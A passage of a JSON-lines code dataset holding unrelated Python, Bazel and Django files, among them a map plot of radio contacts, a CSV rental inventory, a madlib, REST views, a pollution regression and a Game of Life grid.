#pc.set_edgecolor('#FFFF00FF')\n #mpl.rcParams['hatch.color']='#FFFF0080'\n pc.set_facecolor('#00000060')\n #pc.set_hatch('\\\\\\\\\\\\\\\\')\n ax.add_collection(pc)\n\ndf3 = df2[df2.symbols == 'o']\nm.scatter(df3.lon, df3.lat, s=50, c=df3.colors, marker='o', edgecolors='black', linewidths=1, alpha=.5, zorder=99)\ndf3 = df2[df2.symbols != 'o']\nm.scatter(df3.lon, df3.lat, s=40, c=df3.colors, marker='D', edgecolors='black', linewidths=1, alpha=.5, zorder=98)\n\nm.drawcountries(color='black', zorder=1)\nm.drawstates(color='black', linestyle='dotted', zorder=2)\nm.drawcoastlines(color='black', zorder=3)\n#m.etopo(scale=0.5, alpha=1, zorder=0)\n#m.shadedrelief(zorder=0)\n#m.bluemarble(scale=1, zorder=0)\n\nplt.legend(loc='lower left', handles=[\n mpl.lines.Line2D([], [], color='green', markeredgecolor='black', marker='o', linewidth=0, markersize=10, label='QSL SSB'),\n mpl.lines.Line2D([], [], color='green', markeredgecolor='black', marker='D', linewidth=0, markersize=8, label='QSL Digital'),\n mpl.lines.Line2D([], [], color='yellow', markeredgecolor='black', marker='o', linewidth=0, markersize=10, label='SSB'),\n mpl.lines.Line2D([], [], color='yellow', markeredgecolor='black', marker='D', linewidth=0, markersize=8, label='Digital'),\n mpl.patches.Patch(edgecolor='#00FF00FF', linewidth=1, label='Confirmed Country', hatch='////'),\n mpl.patches.Patch(edgecolor='#FFFF00FF', linewidth=1, label='Unconfirmed Country', hatch='\\\\\\\\\\\\\\\\')])\n\n\nplt.suptitle('KK6VGE Contacts')\nfig.tight_layout()\nplt.show()\n# plt.savefig('test.png')\n","sub_path":"dashmdb.py","file_name":"dashmdb.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"203517071","text":"\"\"\"index.bzl provides the packaging ruleset\"\"\"\n\nload(\"@rules_python//python:defs.bzl\", \"PyInfo\")\nload(\"//tools:utils.bzl\", \"get_transitive_deps\")\nload(\"//tools:providers.bzl\", \"PackageInfo\")\n\ndef _package_api(ctx):\n language = None\n if PyInfo in ctx.attr.srcs[0]:\n language = \"python\"\n output_file = ctx.actions.declare_file(ctx.attr.name + \".zip\")\n files = ctx.files._packaging_bin + ctx.files._python_bin + ctx.files.srcs + ctx.files.data + get_transitive_deps(ctx.attr.srcs)\n args = ctx.actions.args()\n args.add_joined([s.path for s in get_transitive_deps(ctx.attr.srcs)], join_with = \",\")\n args.add(\"--output-file\", output_file.path)\n args.add(\"--runtime\", language)\n ctx.actions.run(\n mnemonic = \"Packaging\",\n executable = ctx.executable._packaging_bin,\n arguments = [args],\n inputs = files,\n outputs = [output_file],\n )\n\n return [\n DefaultInfo(\n files = depset([output_file]),\n ),\n PackageInfo(language = language),\n ]\n\npackage_api = rule(\n implementation = _package_api,\n attrs = {\n \"srcs\": attr.label_list(\n providers = [PyInfo],\n ),\n \"data\": attr.label_list(\n allow_files = True,\n ),\n \"_packaging_bin\": attr.label(\n default = \"//tools/package:package_api_bin\",\n executable = True,\n cfg = \"exec\",\n ),\n \"_python_bin\": attr.label(\n default = \"@python_interpreter//:python_bin\",\n executable = True,\n cfg = \"exec\",\n allow_files = True,\n ),\n },\n)\n","sub_path":"tools/package/index.bzl","file_name":"index.bzl","file_ext":"bzl","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"391677606","text":"\"\"\"Inventory module, update, a CSV file that lists which furniture is rented to which customer \"\"\"\nimport csv\nfrom functools import partial\n\ndef add_furniture(invoice_file, customer_name, item_code, item_description, item_monthly_price):\n \"\"\"add new entry to invoice_file\"\"\"\n with open(invoice_file, 'a', newline='') as csvfile:\n writer = csv.writer(csvfile)\n entry = [customer_name, item_code, item_description, item_monthly_price]\n writer.writerow(entry)\n\ndef single_customer(customer_name, invoice_file):\n \"\"\"Using closure and currying, \"\"\"\n add_rental_item = partial(add_furniture, invoice_file, customer_name)\n def read_customer_invoice(rental_items):\n with open(rental_items, newline='') as rentfile:\n reader = csv.reader(rentfile, delimiter=',')\n for row in reader:\n item_code = row[0]\n item_description = row[1]\n item_price = row[2]\n add_rental_item(item_code, item_description, item_price)\n return read_customer_invoice\n","sub_path":"students/pooria_k/Lesson08/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"29251674","text":"#!/usr/bin/python\n\ndef dheanamh(lib, ctx):\n \n cppObjGroupOne = lib.ObjGroup(\"cppObj\", \"C++\")\n cppObjGroupOne.setHeaders([\"Globals.h\"])\n cppObjGroupOne.setClasses([\"Engine\", \"Nexus\"])\n cppObjGroupOne.mapHeaderToSource(\"driver.h\", [\"driver.cpp\"])\n cppObjGroupOne.setSource([\"app.cpp\"])\n \n project = lib.Project(\"Alpha\")\n project.addBuildGroup(cppObjGroupOne)\n \n return project\n #\n#\n","sub_path":"Examples/CppPrototype/Alpha/dh.build.py","file_name":"dh.build.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"574746430","text":"# Calculate pay\n# Created by: Martin Alonso\n# Date created: 2019-04-06\n# Purpose: calculate pay from hours worked and rate of pay \n\n# Take inputs from the user \nhours = input(\"How many hours worked? \")\npay_rate = input(\"What is the pay rate? \")\n\n# Convert hours and pay_rate to float; calculate pay\npay = float(hours) * float(pay_rate)\n\n# Return pay \nprint(\"Your payment is ${:.2f}\".format(pay))\n","sub_path":"Week2/firstProgram.py","file_name":"firstProgram.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"309943087","text":"# *-* coding: utf-8 *-*\n\na = 2\nb = 10\nc = 15\n\num = b / a\ndois = b * c\ntres = um + c\nquatro = c / b \ncinco = c / float(b)\nseis = quatro - c\nsete = (a+b) * (b+c)\noito = \"willie\"\n\n","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"518486230","text":"\n\n#Code for a valentines day madlib for Dario.\n# 2/5/2016\n\nprint (\"Hi Dario! Happy Valentine's Day.\")\n\ndoing = input(\"How are you doing?\")\n\nprint(\"I'm glad you're \"+ doing + \". Me too!\")\n# Let Dario say Yes or No\n\nanswer = input(\"Do you want to see the awesome card I made you?!\")\nif answer == \"yes\" or \"Yes\" : \n print(\"Great! I'm gonna need some help though. I dozed off as I was writing, and I forgot a few words. I need your help filling them in.\")\nelse :\n print(\"Oh, cmon, lazyface! Please say yes!\")\n\nmoons = input(\"Gimme a plural noun.\")\nbrunch = input(\"Name a party occasion.\")\narrived = input(\"And a past tense verb.\")\nnice = input(\"Adjective.\")\npeople = input(\"Type of animal, plural.\")\ncharmed = input(\"Emotion.\")\nclothes = input(\"Type of clothing.\")\nhandsome = input(\"Adjective.\")\nC3PO = input(\"Celebrity.\")\nHan = input(\"Another celebrity.\")\nanimal = input(\"Animal.\")\nkilos = input(\"Unit of measurement, plural.\")\nthreaded = input(\"Past tense verb.\")\nneedle = input(\"Noun.\")\nexhibit = input(\"Type of party or event.\")\nbeers = input(\"Beverage.\")\nMatching = input(\"Verb ending in -ing. Capitalized, please.\")\nHalf = input(\"Noun, also capitalized.\")\nhead = input(\"Body part.\")\nheels = input(\"Another body part.\")\nnickname = input(\"Nickname.\")\n\n\nanswer2 = input(\"Thanks a lot! That oughtta do the trick. Ready for your message?\")\n\nif answer2 == \"yes\" or \"Yes\" :\n print(\"One Saturday morning many \" + moons + \" ago, I went to a \" + brunch + \" party hoping to meet some nice \" + people + \" . And there you were in your fancy \" +clothes+ \", more \" + handsome + \" than \" + C3PO + \" and more fascinating than \" + Han + \"--although, I admit, I didn't realize it at the time. In contrast, you thought I was as beautiful as a \" + animal + \" , and you spent several \" + kilos + \" of time constructing a message that \" + threaded + \" the \" + needle + \" of flirtation and friendliness. It worked! We went to that Georgia O'Keeffe \" + exhibit + \" at the De Young and sipped some \" + beers + \" at the \" + Matching +\" \"+ Half + \" Cafe. Honestly, from then on I've been \" + head + \" over \" + heels + \". Happy Valentine's Day, \" +nickname+ \"!\" ) \nelse: \n print(\"Ha, ha, very funny. Cmon, say yes :) \")\n\n\n\n\n","sub_path":"RunMeXoXo.py","file_name":"RunMeXoXo.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"73877261","text":"from django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework import generics\nfrom rest_framework.parsers import JSONParser\nfrom apps.handbooks.models import Category, Genre, City, Country\nfrom apps.handbooks.serializers import (\n CategorySerializer, GenreSerializer,\n CountrySerializer, CityWithCountrySerializer\n)\n\n\n@csrf_exempt\ndef category_list(request):\n \"\"\"\n Список всех категории или создание новой категории\n \"\"\"\n if request.method == 'GET':\n categories = Category.objects.all()\n serializer = CategorySerializer(categories, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = CategorySerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n\n@csrf_exempt\ndef category_detail(request, pk):\n \"\"\"\n Выборка, обновление или удаление одной категории\n \"\"\"\n try:\n category = Category.objects.get(pk=pk)\n except Category.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = CategorySerializer(category)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = CategorySerializer(category, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n category.delete()\n return HttpResponse(status=204)\n\n\n@csrf_exempt\ndef genre_list(request):\n \"\"\"\n Список всех категории или создание новой жанра\n \"\"\"\n if request.method == 'GET':\n genres = Genre.objects.all()\n serializer = GenreSerializer(genres, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = GenreSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n\n@csrf_exempt\ndef genre_detail(request, pk):\n \"\"\"\n Выборка, обновление или удаление одной жанра\n \"\"\"\n try:\n genre = Genre.objects.get(pk=pk)\n except Genre.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = GenreSerializer(genre)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = GenreSerializer(genre, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n genre.delete()\n return HttpResponse(status=204)\n\n\nclass CountryList(generics.ListCreateAPIView):\n queryset = Country.objects.all()\n serializer_class = CountrySerializer\n\n\nclass CountryDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = Country.objects.all()\n serializer_class = CountrySerializer\n\n\nclass CityList(generics.ListCreateAPIView):\n queryset = City.objects.all().select_related('country')\n serializer_class = CityWithCountrySerializer\n\n\nclass CityDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = City.objects.all().select_related('country')\n serializer_class = CityWithCountrySerializer\n","sub_path":"apps/handbooks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"266093524","text":"\"\"\"\nStart from integer 1, remove any integer that contains 9 such as 9, 19, 29...\n\nSo now, you will have a new integer sequence: 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, ...\n\nGiven a positive integer n, you need to return the n-th integer after removing. Note that 1 will be the first integer.\n\nExample 1:\nInput: 9\nOutput: 10\nHint: n will not exceed 9 x 10^8.\n\"\"\"\n\n# switch from decimal base to nineth-base\n\nclass Solution(object):\n def newInteger(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n ans = ''\n while n > 0:\n ans = str(n%9) + ans\n n /= 9\n return int(ans)","sub_path":"leetcode/660_remove_9.py","file_name":"660_remove_9.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"320775963","text":"from sklearn import datasets\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn import metrics\r\nfrom sklearn.model_selection import cross_val_predict\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\n\r\ndef dataprocess(df):\r\n xlist=[]\r\n ylist=[]\r\n df=df.replace(['NR'],[0.0])\r\n array=np.array(df).astype(float)\r\n\r\n for i in range(0,4320,18):\r\n for j in range(24-9):\r\n mat=array[i:i+18,j:j+9]\r\n label=array[i+9,j+9]\r\n xlist.append(mat[0:10].reshape(90))\r\n ylist.append(label)\r\n x=np.array(xlist)\r\n y=np.array(ylist)\r\n\r\n return x, y\r\n\r\ndf = pd.read_csv('pm2.5.csv', usecols=range(3, 27))\r\nx, y = dataprocess(df)\r\n\r\n\r\n\r\nloaded_data=datasets.load_boston()\r\ndata_X=loaded_data.data\r\ndata_y=loaded_data.target\r\n\r\nX_train,X_test,y_train,y_test=train_test_split(x,y,test_size=0.2)#训练和测试集划分\r\nmodel=LinearRegression()\r\nmodel.fit(X_train,y_train)\r\nprint(model.coef_)\r\nprint(model.intercept_)\r\n\r\ny_pred=model.predict(X_test)\r\n\r\nprint(\"MSE is:\",metrics.mean_squared_error(y_test,y_pred))#LOSS=MSE均方差\r\n\r\n#10折交叉验证\r\npredicted=cross_val_predict(model,x,y,cv=10)\r\nprint(\"MSE is(with_cvp):\",metrics.mean_squared_error(y,predicted))\r\nplt.scatter(y,predicted,color='y',marker='o')\r\nplt.scatter(y,y,color='g',marker='+')\r\nplt.title('pm2.5_prediction')\r\nplt.xlabel('real_pm2.5')\r\nplt.ylabel('predict_pm2.5')\r\nplt.show()\r\n\r\n","sub_path":"linear_regression/linear_regression/two_factors_sklearn.py","file_name":"two_factors_sklearn.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"61762951","text":"## 1. Introduction ##\n\nimport pandas as pd\n\nhouses = pd.read_table('AmesHousing_1.txt',sep='\\t')\n\nland_slope = houses['Land Slope']\nland_slope.head()\nscale_land = 'ordinal'\n\nroof_style = houses['Roof Style']\nroof_style.unique()\nscale_roof = 'nominal'\n\nkitchen = houses['Kitchen AbvGr']\nkitchen.unique()\nkitchen_variable = 'discrete'\n\n\n## 2. The Mode for Ordinal Variables ##\n\ndef mode_function(array):\n dict_values={}\n unique_array = set(array)\n \n for value in unique_array:\n dict_values[value]=0\n \n for row in array:\n dict_values[row]+=1\n \n return max(dict_values.keys(),key=(lambda k: dict_values[k]))\n \nmode_function = mode_function(houses['Land Slope'])\n\nmode_method = houses['Land Slope'].mode()\n\nsame = mode_function == mode_method\n\n\n\n## 3. The Mode for Nominal Variables ##\n\n# The function we wrote (you can copy-paste yours from the previous screen)\ndef mode(array):\n counts = {}\n \n for value in array:\n if value in counts:\n counts[value] += 1\n else:\n counts[value] = 1\n \n return max(counts, key = counts.get)\ndef mode(array):\n counts = {}\n \n for value in array:\n if value in counts:\n counts[value] += 1\n else:\n counts[value] = 1\n \n return (max(counts, key = counts.get),\n counts\n )\n\nmode, value_counts = mode(houses['Roof Style'])\n\n## 4. The Mode for Discrete Variables ##\n\nbedroom_variable = 'discrete'\n\nbedroom_mode = houses['Bedroom AbvGr'].mode()\n\nprice_variable = 'continuous'\n\nprice_mode = houses['SalePrice'].mode()\n\n## 5. Special Cases ##\n\nintervals = pd.interval_range(start = 0, end = 800000, freq = 100000)\ngr_freq_table = pd.Series([0,0,0,0,0,0,0,0], \n index = intervals)\n\nfor value in houses['SalePrice']:\n for interval in intervals:\n if value in interval:\n gr_freq_table.loc[interval] += 1\n break\n\nprint(gr_freq_table)\n\neff = gr_freq_table.reset_index()\nmaxi = 0\nprint(eff)\n\nfor row in gr_freq_table.items(): \n if row[1] > maxi:\n maxi = row[1]\n mode = int((row[0].left + row[0].right) / 2)\n\nmidpoint = mode\n\nmean = houses['SalePrice'].mean()\n\nmedian = houses['SalePrice'].median()\n\nsentence_1 = True\nsentence_2 = True\n\n \n \n\n## 6. Skewed Distributions ##\n\ndistribution_1 = {'mean': 3021 , 'median': 3001, 'mode': 2947}\ndistribution_2 = {'median': 924 , 'mode': 832, 'mean': 962}\ndistribution_3 = {'mode': 202, 'mean': 143, 'median': 199}\n\nshape_1 = 'right skew'\nshape_2 = 'right skew'\nshape_3 = 'left skew'\n\n## 7. Symmetrical Distributions ##\n\nimport matplotlib.pyplot as plt\n\nhouses['Mo Sold'].plot.kde(xlim=(1,12))\n\nplt.axvline(x=houses['Mo Sold'].mode().item(),label='Mode')\n\nplt.axvline(x=houses['Mo Sold'].median(),label='Median')\n\nplt.axvline(x=houses['Mo Sold'].mean(),label='Mean')\n\nplt.legend()\n\nplt.show()\n\n","sub_path":"Python - Projets/DataQuest - 2018-08/statistics-intermediate/The Mode-307.py","file_name":"The Mode-307.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"306161025","text":"from Cell import Cell\nfrom Coordinate import Coordinate\nfrom Rule import Rule\n\nimport copy;\n\n\nclass GameField:\n def __init__(self, width, height):\n # self.mapSize = mapSize; #22\n self.listContainsPreviousState = [];\n self.listOfCells = [];\n self.ruleName = \"\";\n self.rule = Rule();\n self.state1 = False;\n self.state2 = False;\n self.width = width;\n self.height = height;\n self.rowCounter = 0;\n self.columnCounter = 0;\n self.x = 0;\n self.y = 0;\n self.MAX = 100;\n self.valOfRightExtremeCoordinateX = 0;\n self.valOfLeftExtremeCoordinateX = 0;\n self.xCoordinateRight = 0;\n self.xCoordinateLeft = 0;\n\n self.setMapValues();\n\n def setMapValues(self):\n\n if self.width % 2 != 0 and self.height % 2 != 0:\n self.x = -(self.width - 1) / 2;\n self.y = (self.height - 1) / 2;\n\n\n\n\n elif self.width % 2 == 0 and self.height % 2 != 0:\n self.x = -(self.width - 2) / 2;\n self.y = (self.height - 1) / 2;\n\n elif self.width % 2 != 0 and self.height % 2 == 0:\n self.x = -(self.width - 1) / 2;\n self.y = (self.height - 2) / 2;\n\n\n\n else:\n self.x = -(self.width - 2) / 2;\n self.y = (self.height - 2) / 2;\n\n self.columnCounter = self.width;\n self.rowCounter = self.height;\n\n x1 = self.x;\n\n for i in range(self.rowCounter):\n\n new = [];\n for j in range(self.columnCounter):\n new.append(Cell(False, Coordinate(self.x, self.y)));\n # print(str(self.listOfCells[i][j])+\" \\n\");\n # self.listOfCells.append(Cell(False,Coordinate(x,y)))\n self.x = self.x + 1;\n self.y = self.y - 1;\n # self.x = -self.mapSize / 2;\n self.x = x1;\n self.listOfCells.append(new)\n\n self.valOfRightExtremeCoordinateX = self.listOfCells[0][0].coordinate.x + (self.width - 1);\n self.valOfLeftExtremeCoordinateX = self.listOfCells[0][len(self.listOfCells[0]) - 1].coordinate.x - (\n self.width - 1);\n print(str(self.valOfRightExtremeCoordinateX) + \" \" + str(self.valOfLeftExtremeCoordinateX));\n\n def showMap(self):\n for i in range(self.rowCounter):\n for j in range(self.columnCounter):\n print(\"{:->7}\".format(\n str(self.listOfCells[i][j].coordinate.x) + \" \" + str(self.listOfCells[i][j].coordinate.y)) + \" \",\n end='')\n\n print(\"\\n\");\n\n def setNumberOfCellsNeighbours(self, cell, i, j):\n\n state = [];\n\n self.xCoordinateRight = cell.coordinate.x;\n self.xCoordinateLeft = cell.coordinate.x;\n\n if (self.xCoordinateRight == self.valOfRightExtremeCoordinateX):\n self.xCoordinateRight = self.valOfLeftExtremeCoordinateX;\n else:\n self.xCoordinateRight = cell.coordinate.x + 1;\n\n if (self.xCoordinateLeft == self.valOfLeftExtremeCoordinateX):\n self.xCoordinateLeft = self.valOfRightExtremeCoordinateX;\n else:\n self.xCoordinateLeft = cell.coordinate.x - 1;\n\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateRight and cellExample.coordinate.y == cell.coordinate.y and cellExample.previousState == True)\n for cellExample in self.listOfCells[i]):\n state.append(True);\n\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateLeft and cellExample.coordinate.y == cell.coordinate.y and cellExample.previousState == True)\n for cellExample in self.listOfCells[i]):\n state.append(True);\n\n if (i - 1 >= 0):\n # 3\n if any(\n (\n cellExample.coordinate.x == cell.coordinate.x and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i - 1]):\n state.append(True);\n\n # 5\n #do wziecia\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateRight and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i - 1]):\n state.append(True);\n\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateLeft and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i - 1]):\n state.append(True);\n\n if i + 1 < self.rowCounter:\n # 4\n if any(\n (\n cellExample.coordinate.x == cell.coordinate.x and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i + 1]):\n state.append(True);\n\n #do wziecia\n # 6\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateRight and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i + 1]):\n state.append(True);\n\n # 7\n if any(\n (\n cellExample.coordinate.x == self.xCoordinateLeft and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n for cellExample in self.listOfCells[i + 1]):\n state.append(True);\n\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x + 1 and cellExample.coordinate.y == cell.coordinate.y and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i]):\n # state.append(True);\n #\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x - 1 and cellExample.coordinate.y == cell.coordinate.y and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i]):\n # state.append(True);\n #\n # if (i - 1 >= 0):\n # # 3\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i - 1]):\n # state.append(True);\n #\n # # 5\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x + 1 and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i - 1]):\n # state.append(True);\n #\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x - 1 and cellExample.coordinate.y == cell.coordinate.y + 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i - 1]):\n # state.append(True);\n #\n # if i + 1 < self.rowCounter:\n # # 4\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i + 1]):\n # state.append(True);\n #\n # # 6\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x + 1 and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i + 1]):\n # state.append(True);\n #\n # # 7\n # if any(\n # (\n # cellExample.coordinate.x == cell.coordinate.x - 1 and cellExample.coordinate.y == cell.coordinate.y - 1 and cellExample.previousState == True)\n # for cellExample in self.listOfCells[i + 1]):\n # state.append(True);\n\n for l in range(len(state)):\n cell.numberOfNeighbours = cell.numberOfNeighbours + 1;\n\n print(\"{:->7}\".format(\n str(i) + \" \" + str(j) + \" \" + str(cell.coordinate.x) + \" \" + str(\n cell.coordinate.y)) + \" :liczba zywych sasiadow: \" + str(cell.numberOfNeighbours)\n + \"\\n\")\n\n if (cell.numberOfNeighbours == 3 and cell.previousState == False):\n cell.isAlive = True;\n elif ((cell.numberOfNeighbours == 2 or cell.numberOfNeighbours == 3) and cell.previousState == True):\n cell.isAlive = True;\n\n elif (\n (\n cell.numberOfNeighbours == 0 or cell.numberOfNeighbours == 1 or cell.numberOfNeighbours == 4 or cell.numberOfNeighbours == 5 or cell.numberOfNeighbours == 6 or cell.numberOfNeighbours == 7\n ) and cell.previousState == True\n ):\n cell.isAlive = False;\n\n def startTheGame(self):\n\n # for i in range(len(self.listOfCells)):\n # it = False;\n # it1 = False;\n # cell=copy.copy(cell);\n\n # for i in range(len(self.listOfCells)):\n # # it = False;\n # # it1 = False;\n # # cell=copy.copy(cell);\n # cell=self.listOfCells[0][1];\n # if cell.coordinate.x == (self.mapSize / 2):\n # # cell1 = Cell(cell.isAlive, Coordinate(-cell.coordinate.x, cell.coordinate.y));\n # cell1 = next((obj for obj in self.listOfCells[i] if obj.coordinate.x == -cell.coordinate.x and obj.coordinate.y == cell.coordinate.y), None)\n #\n # it = cell1 in self.listOfCells[i] and cell1.previousState == True;\n #\n #\n # else:\n # # cell1 = Cell(cell.isAlive, Coordinate(cell.coordinate.x + 1, cell.coordinate.y))\n # cell1 = next((obj for obj in self.listOfCells[i] if obj.coordinate.x == cell.coordinate.x + 1 and obj.coordinate.y == cell.coordinate.y),None)\n # it = cell1 in self.listOfCells[i] and cell1.previousState==True\n # if it:\n # print(it)\n #\n # #print(\"xzc\");\n #\n # if cell.coordinate.x == (-self.mapSize / 2):\n # # cell1 = Cell(cell.isAlive, Coordinate(-cell.coordinate.x, cell.coordinate.y));\n # cell1 = next((obj for obj in self.listOfCells[i] if obj.coordinate.x == -cell.coordinate.x and obj.coordinate.y == cell.coordinate.y), None)\n #\n # it1 = cell1 in self.listOfCells[i] and cell1.previousState == True;\n #\n #\n # else:\n # # cell2 = Cell(cell.isAlive, Coordinate(cell.coordinate.x + 1, cell.coordinate.y))\n # cell2 = next((obj for obj in self.listOfCells[i] if obj.coordinate.x == cell.coordinate.x - 1 and obj.coordinate.y == cell.coordinate.y),None)\n # it1 = cell2 in self.listOfCells[i] and cell2.previousState == True\n #\n # # if (it):\n # # cell.numberOfNeighbours = cell.numberOfNeighbours + 1\n # #\n # # if (it1):\n # # cell.numberOfNeighbours = cell.numberOfNeighbours + 1\n #\n # if (it):\n # print(\"podnsze\\n\");\n #\n # if (it1):\n # print(\"podnsze\\n\");\n\n # for i in range(len(self.listOfCells)):\n # #cell=copy.copy(cell);\n #\n #\n # #it = Cell(cell.isAlive, Coordinate(-cell.coordinate.x, cell.coordinate.y)) in self.listOfCells[i] and cell.previousState == True;\n #\n #\n #\n # #if Cell(True,Coordinate(0,4)) == obj:\n # cell=Cell(True,Coordinate( self.listOfCells[1][4].coordinate.x,self.listOfCells[1][4].coordinate.y))\n #\n # print( cell in self.listOfCells[i] and cell.previousState== True)\n\n # print( Cell(True,Coordinate(0,4)) in self.listOfCells[i])\n # cell=Cell(True,Coordinate(0,4))\n # print(cell.coordinate.y)\n # it=cell in self.listOfCells[i];\n # print(it);\n #\n # check = True;\n #\n # for i in range(self.rowCounter):\n #\n # for j in range(self.columnCounter):\n # if self.listOfCells[i][j].previousState:\n # # print(\"[]\", end='')\n #\n # if (check):\n # self.listContainsPreviousState.append(copy.deepcopy(self.listOfCells[i]));\n # check = False;\n #\n # # else:\n # # #print(\"-\", end='')\n # self.setNumberOfCellsNeighbours(self.listOfCells[i][j], i, j)\n # # print(\"\\n\");\n #\n # # print(\"druga petla\\n\")\n # #\n # # for i in range(len(self.listContainsPreviousState)):\n # # # self.listContainsPreviousState.append(self.listOfCells[i]);\n # # for j in range(len(self.listContainsPreviousState[i])):\n # # if self.listContainsPreviousState[i][j].previousState:\n # # print(\"[]\", end='')\n # # else:\n # # print(\"-\", end='')\n # #\n # # #self.setNumberOfCellsNeighbours(self.listOfCells[i][j])\n # # print(\"\\n\");\n #\n # for i in range(self.rowCounter):\n # for j in range(self.columnCounter):\n # self.listOfCells[i][j].previousState = self.listOfCells[i][j].isAlive;\n #\n # self.listOfCells[i][j].numberOfNeighbours = 0;\n print(1);\n","sub_path":"GameOfLife/CellularAutomaton/classes/GameField.py","file_name":"GameField.py","file_ext":"py","file_size_in_byte":14190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430332203","text":"#!python3\n\n# https://forum.omz-software.com/topic/4178/tableview-button-color/2\n\nimport ui\nfrom objc_util import *\n\n#\n# UITableViewDelegate\n#\n\ndef handler(_cmd, action, index_path):\n\tprint('Trash it!')\n\t\nblock_handler = ObjCBlock(handler, restype=None, argtypes=[c_void_p, c_void_p, c_void_p])\n\ndef tableView_editActionsForRowAtIndexPath_(self, cmd, table_view, index_path):\n\tyellow = ObjCClass('UIColor').yellowColor()\n\t\n\taction = ObjCClass('UITableViewRowAction').rowActionWithStyle_title_handler_(0, ns('Trash it!'), block_handler)\n\taction.setBackgroundColor(yellow)\n\t\n\treturn ns([action]).ptr\n\t\n\t\ndef make_table_view_delegate():\n\tmethods = [tableView_editActionsForRowAtIndexPath_]\n\tprotocols = 